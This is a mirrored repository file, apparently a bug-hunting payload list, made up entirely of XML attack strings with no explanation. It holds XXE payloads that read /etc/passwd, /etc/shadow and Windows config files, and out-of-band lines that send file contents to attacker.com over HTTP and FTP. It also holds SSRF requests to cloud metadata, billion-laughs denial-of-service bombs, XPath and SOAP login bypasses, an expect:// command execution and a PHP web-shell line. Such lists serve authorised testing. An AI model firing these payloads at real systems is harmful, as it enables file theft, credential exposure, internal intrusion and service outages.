mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 19:36:33 +00:00
copilot-swe-agent[bot]
bc2ccbb10e
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
134 lines
7.8 KiB
Plaintext
134 lines
7.8 KiB
Plaintext
# XML Injection Payloads
|
|
|
|
## Basic XML External Entity (XXE) Payloads
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]><foo>&xxe;</foo>
|
|
|
|
## XXE with Parameter Entities
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?x=%xxe;'>">%eval;%exfil;]><foo/>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><foo/>
|
|
|
|
## XXE via SVG Upload
|
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><text>&xxe;</text></svg>
|
|
|
|
## XXE via SOAP
|
|
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Body><foo>&xxe;</foo></soap:Body></soap:Envelope>
|
|
|
|
## XXE Out-of-Band (OOB)
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><foo/>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]><foo/>
|
|
|
|
## Blind XXE with Error-Based
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///nonexistent"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;]><foo/>
|
|
|
|
## XXE with UTF-7
|
|
<?xml version="1.0" encoding="UTF-7"?>+ADw-?xml version="1.0"?+AD4-<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
|
|
## XML Billion Laughs Attack (DoS)
|
|
<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>
|
|
|
|
## XXE with Base64 Encoding
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>
|
|
|
|
## XXE via XInclude
|
|
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
|
|
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="http://attacker.com/evil.txt"/></foo>
|
|
|
|
## XXE with Expect (PHP)
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://ls">]><foo>&xxe;</foo>
|
|
|
|
## XXE with Data Protocol
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "data://text/plain;base64,SGVsbG8gV29ybGQ=">]><foo>&xxe;</foo>
|
|
|
|
## XXE via DOCTYPE
|
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/payload">]><foo>&xxe;</foo>
|
|
|
|
## XXE Local File Inclusion (LFI)
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///proc/self/environ">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/log/apache2/access.log">]><foo>&xxe;</foo>
|
|
|
|
## XXE for Windows
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/inetpub/wwwroot/web.config">]><foo>&xxe;</foo>
|
|
|
|
## XXE SSRF
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://localhost/admin">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.server/secret">]><foo>&xxe;</foo>
|
|
|
|
## XML Injection via CDATA
|
|
<foo><![CDATA[<script>alert('XSS')</script>]]></foo>
|
|
<foo><![CDATA[<?php system($_GET['cmd']); ?>]]></foo>
|
|
|
|
## XPath Injection
|
|
' or '1'='1
|
|
' or ''='
|
|
x' or 1=1 or 'x'='y
|
|
admin' or '1'='1
|
|
'or 1=1--
|
|
' or 1=1#
|
|
admin'--
|
|
') or ('1'='1
|
|
|
|
## SOAP XML Injection
|
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Body><login><username>admin' or '1'='1</username><password>anything</password></login></soapenv:Body></soapenv:Envelope>
|
|
|
|
## XML Bomb Variants
|
|
<?xml version="1.0"?><!DOCTYPE bomb [<!ENTITY a "aaaaaaaaaa" ><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;"><!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;">]><bomb>&e;</bomb>
|
|
|
|
## Encoded XXE Payloads
|
|
%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C%21DOCTYPE%20foo%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E
|
|
|
|
## XXE via RSS Feed
|
|
<?xml version="1.0"?><!DOCTYPE rss [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><rss><channel><title>&xxe;</title></channel></rss>
|
|
|
|
## XXE via XML Sitemap
|
|
<?xml version="1.0"?><!DOCTYPE urlset [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><urlset><url><loc>&xxe;</loc></url></urlset>
|
|
|
|
## XXE with Public and System Identifiers
|
|
<!DOCTYPE foo PUBLIC "any_text" "http://attacker.com/evil.dtd">
|
|
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
|
|
|
|
## XXE Exfiltration via FTP
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "ftp://attacker.com/evil.dtd">%dtd;]><foo/>
|
|
|
|
## XXE with UTF-16
|
|
<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
|
|
## Java-specific XXE
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "netdoc:///etc/passwd">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///path/to/jar!/resource">]><foo>&xxe;</foo>
|
|
|
|
## XXE via XForms
|
|
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:xf="http://www.w3.org/2002/xforms"><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><xf:model><xf:instance><data>&xxe;</data></xf:instance></xf:model></html>
|
|
|
|
## Nested Entity Attacks
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY outer "<!ENTITY inner SYSTEM 'file:///etc/passwd'>">]><foo>&outer;&inner;</foo>
|
|
|
|
## XXE Filter Bypass
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "fiLe:///etc/passwd">]><foo>&xxe;</foo>
|
|
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "FILE:///etc/passwd">]><foo>&xxe;</foo>
|
|
|
|
## XML Attribute Injection
|
|
<user id="1' or '1'='1"/>
|
|
<user id="1"><name>admin'--</name></user>
|
|
|
|
## XSLT Injection
|
|
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:value-of select="document('file:///etc/passwd')"/></xsl:template></xsl:stylesheet>
|
|
|
|
## SVG XXE Advanced
|
|
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><text x="0" y="15">&xxe;</text></svg>
|
|
|
|
## Office Document XXE (DOCX, XLSX, etc)
|
|
<?xml version="1.0"?><!DOCTYPE doc [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><doc>&xxe;</doc>
|
|
|
|
## XXE via PDF Upload
|
|
<?xml version="1.0"?><!DOCTYPE pdf [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><pdf>&xxe;</pdf>
|